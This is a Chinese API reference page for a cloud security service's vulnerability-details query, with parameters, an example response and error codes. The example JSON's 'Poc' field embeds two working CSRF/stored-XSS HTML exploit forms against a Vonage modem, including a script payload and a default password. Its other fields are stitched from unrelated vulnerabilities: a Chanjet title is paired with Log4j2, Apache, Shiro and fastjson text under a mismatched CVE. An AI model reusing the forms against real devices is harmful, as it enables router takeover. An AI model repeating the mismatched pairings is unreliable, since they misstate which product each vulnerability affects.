查询漏洞详情。
调试
您可以在OpenAPI Explorer中直接运行该接口，免去您计算签名的困扰。运行成功后，OpenAPI Explorer可以自动生成SDK代码示例。
授权信息
下表是API对应的授权信息，可以在RAM权限策略语句的Action元素中使用，用来给RAM用户或RAM角色授予调用此API的权限。具体说明如下：
- 操作：是指具体的权限点。
- 访问级别：是指每个操作的访问级别，取值为写入（Write）、读取（Read）或列出（List）。
- 资源类型：是指操作中支持授权的资源类型。具体说明如下：
- 对于必选的资源类型，用背景高亮的方式表示。
- 对于不支持资源级授权的操作，用
全部资源表示。
- 条件关键字：是指云产品自身定义的条件关键字。
- 关联操作：是指成功执行操作所需要的其他权限。操作者必须同时具备关联操作的权限，操作才能成功。
| 操作 | 访问级别 | 资源类型 | 条件关键字 | 关联操作 |
|---|---|---|---|---|
| yundun-sas:DescribeVulDetails | get | *全部资源 * |
| 无 |
请求参数
| 名称 | 类型 | 必填 | 描述 | 示例值 |
|---|---|---|---|---|
| Lang | string | 是 | 设置请求和接收消息的语言类型，取值：
| zh |
| Type | string | 是 | 要查询的漏洞类型。取值：
| sca |
| Name | string | 是 | 漏洞名称。 说明
您可以调用 DescribeGroupedVul 或 DescribeVulList 获取该参数。
| SCA:ACSV-2020-052801 |
| AliasName | string | 是 | 漏洞公告。 | RHSA-2019:3197-Important: sudo security update |
| ResourceDirectoryAccountId | long | 否 | 资源目录成员账号主账号 ID。 说明
调用 DescribeMonitorAccounts 接口可以获取该参数。
| 127608589417**** |
返回参数
示例
正常返回示例
JSON格式
{
"RequestId": "EDA40EA3-6265-5900-AD99-C83E4F109CA8",
"Cves": [
{
"Summary": "Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.",
"Complexity": "LOW",
"Product": "Log4j2",
"PocCreateTime": 1554189334000,
"CveId": "CVE-2019-9167",
"CnvdId": "CNVD-2019-9167",
"Reference": "https://example.com",
"CvssScore": "10.0",
"Vendor": "Apache",
"PocDisclosureTime": 1554189334000,
"Classify": "remote_code_execution",
"CvssVector": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"VulLevel": "serious",
"ReleaseTime": 1554189334000,
"Title": "Chanjet T-Plus SetupAccount/Upload. Aspx file upload vulnerability(CNVD-2022-60632)",
"Solution": "<p>At present, Chanjet has urgently released a vulnerability patch to fix the vulnerability. CNVD recommends affected units and users to upgrade to the latest version immediately:</p>↵<p>https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5</p>↵<p>At the same time, organizations and users affected by the vulnerability are requested to immediately follow the steps below to conduct self-inspection and repair work:</p>↵<ol>↵<li><p>User self-check steps:↵<br />Check whether website/bin/load.aspx.cdcab7d2.compiled, website/bin/App_Web_load.aspx.cdcab7d2.dll, and tplus/Load.aspx files exist locally. If they exist, it means that they have been poisoned, and you must reinstall the system and install the product. patch.</p>↵</li>↵<li><p>Non-poisoned users please:↵<br />1) Update the latest product patch.↵<br />2) Install anti-virus software and update the virus database in time.↵<br />3) Upgrade the lower version of IIS and Nginx to IIS10.0 and Windows 2016.↵<br />4) Local installation customers need to confirm whether the backup file is complete as soon as possible, and do off-site backup. Customers on the cloud should enable the mirroring function in time.↵<br />5) Users who fail to update the patch in time can contact Chanjet technical support and take temporary preventive measures such as deleting files.</p>↵</li>↵<li><p>Poisoned users please:↵<br />1) Check whether the server has taken regular snapshots or backups. If so, you can restore data through snapshots or backups.↵<br />2) Contact Chanjet technical support to confirm whether it has the conditions and operation methods to restore data from backup files.</p>↵</li>↵</ol>↵<p>If you have any technical problems, please contact Chanjet technical support: 4006600566-9</p>",
"Content": "Apache Shiro is a user authentication and authorization framework for a wide range of rights management applications.↵Recently, Apache Shiro released version 1.7.0, which fixes the Apache Shiro authentication bypass vulnerability (CVE-2020-17510).↵Attackers can bypass Shiro's authentication using malicious requests containing payloads.↵↵Related bugs:↵CVE-2020-17510 Shiro < 1.7.0 Validation Bypass Vulnerability↵CVE-2020-13933 Shiro < 1.6.0 Validation Bypass Vulnerability↵CVE-2020-11989 Shiro < 1.5.3 Validation Bypass Vulnerability↵CVE-2020-1957 Shiro < 1.5.2 Validation Bypass Vulnerability↵CVE-2016-6802 Shiro < 1.3.2 Validation Bypass Vulnerability\nCheck whether the fastjson version currently running on the system is in the affected version and whether safeMode is configured to disable autoType. If it is in the affected version and safeMode is not configured to disable autoType, the vulnerability is considered to exist.",
"Poc": "NewDomain.html\nThe x and y values will need to be changed accordingly\n<html>\n<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>\n<form method=\"POST\" action=\"http://192.168.15.1/goform/RgParentalBasic\">\n<input type=\"hidden\" name=\"RemoveContentRule\" value=\"0\" />\n<input type=\"hidden\" name=\"AddContentRule\" value=\"0\" />\n<input type=\"hidden\" name=\"ContentRules\" value=\"0\" />\n<input type=\"hidden\" name=\"RuleSelect\" value=\"0\" / >\n<input type=\"hidden\" name=\"NewKeyword\" value=\"\" / >\n<input type=\"hidden\" name=\"KeywordAction\" value=\"0\" />\n<input type=\"hidden\" name=\"NewDomain\" value=\"test'><script>alert(1)</script>\" />\n<input type=\"hidden\" name=\"x\" value=\"50\" />\n<input type=\"hidden\" name=\"y\" value=\"15\" />\n<input type=\"hidden\" name=\"DomainAction\" value=\"1\" />\n<input type=\"hidden\" name=\"AllowedDomainAction\" value=\"0\" />\n<input type=\"hidden\" name=\"ParentalPassword\" value=\"Broadcom\" />\n<input type=\"hidden\" name=\"ParentalPasswordReEnter\" value=\"Broadcom\" />\n<input type=\"hidden\" name=\"AccessDuration\" value=\"30\" />\n<input type=\"submit\" title=\"Exploit\" />\n</form>\n</html>\n \nNewKeyword.html\nThe x and y values will need to be changed accordingly\n<html>\n<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>\n<form method=\"POST\" action=\"http://192.168.15.1/goform/RgParentalBasic\">\n<input type=\"hidden\" name=\"RemoveContentRule\" value=\"0\" />\n<input type=\"hidden\" name=\"AddContentRule\" value=\"0\" />\n<input type=\"hidden\" name=\"ContentRules\" value=\"0\" />\n<input type=\"hidden\" name=\"RuleSelect\" value=\"0\" / >\n<input type=\"hidden\" name=\"NewKeyword\" value=\"test'><script>alert(1)</script>\" / >\n<input type=\"hidden\" name=\"x\" value=\"61\" />\n<input type=\"hidden\" name=\"y\" value=\"12\" />\n<input type=\"hidden\" name=\"KeywordAction\" value=\"1\" />\n<input type=\"hidden\" name=\"NewDomain\" value=\"\" />\n<input type=\"hidden\" name=\"DomainAction\" value=\"0\" />\n<input type=\"hidden\" name=\"AllowedDomainAction\" value=\"0\" />\n<input type=\"hidden\" name=\"ParentalPassword\" value=\"Broadcom\" />\n<input type=\"hidden\" name=\"ParentalPasswordReEnter\" value=\"Broadcom\" />\n<input type=\"hidden\" name=\"AccessDuration\" value=\"30\" />\n<input type=\"submit\" title=\"Enable Service\" />\n</form>\n</html>",
"Classifys": [
{
"Description": "privilege escalation",
"Classify": "remote_code_execution",
"DemoVideoUrl": "https://example.com"
}
],
"OtherId": "CVE-2020-8597",
"InstanceName": "sql-test-001",
"InternetIp": "47.114.XX.XX",
"IntranetIp": "172.19.XX.XX",
"TargetId": "m-bp17m0pc0xprzbwo****",
"TargetName": "frontend",
"CveLink": "https://avd.aliyun.com/detail/CVE-2022-1184"
}
]
}错误码
| HTTP status code | 错误码 | 错误信息 | 描述 |
|---|---|---|---|
| 400 | InnerError | InnerError | 内部错误，请稍后重试！ |
| 400 | DataExists | %s data exist | - |
| 400 | RdCheckNoPermission | Resource directory account verification has no permission. | 资源目录账号校验无权限。 |
| 400 | MissingType | Type is mandatory for this action. | 类型必填。 |
| 400 | MissingName | Name is mandatory for this action. | 漏洞名称必填。 |
| 403 | NoPermission | caller has no permission | 当前操作未被授权，请联系主账号在RAM控制台进行授权后再执行操作。 |
| 500 | RdCheckInnerError | Resource directory account service internal error. | 资源目录账号服务内部错误。 |
| 500 | ServerError | ServerError | 服务故障，请稍后重试！ |
访问错误中心查看更多错误码。
变更历史
| 变更时间 | 变更内容概要 | 操作 |
|---|---|---|
| 2024-09-25 | OpenAPI 错误码发生变更 | 查看变更详情 |
| 2024-09-24 | OpenAPI 错误码发生变更 | 查看变更详情 |
| 2023-10-24 | OpenAPI 错误码发生变更、OpenAPI 返回结构发生变更 | 查看变更详情 |
| 2023-08-07 | OpenAPI 错误码发生变更、OpenAPI 返回结构发生变更 | 查看变更详情 |
| 2023-07-20 | OpenAPI 错误码发生变更、OpenAPI 入参发生变更 | 查看变更详情 |
| 2023-03-16 | OpenAPI 错误码发生变更 | 查看变更详情 |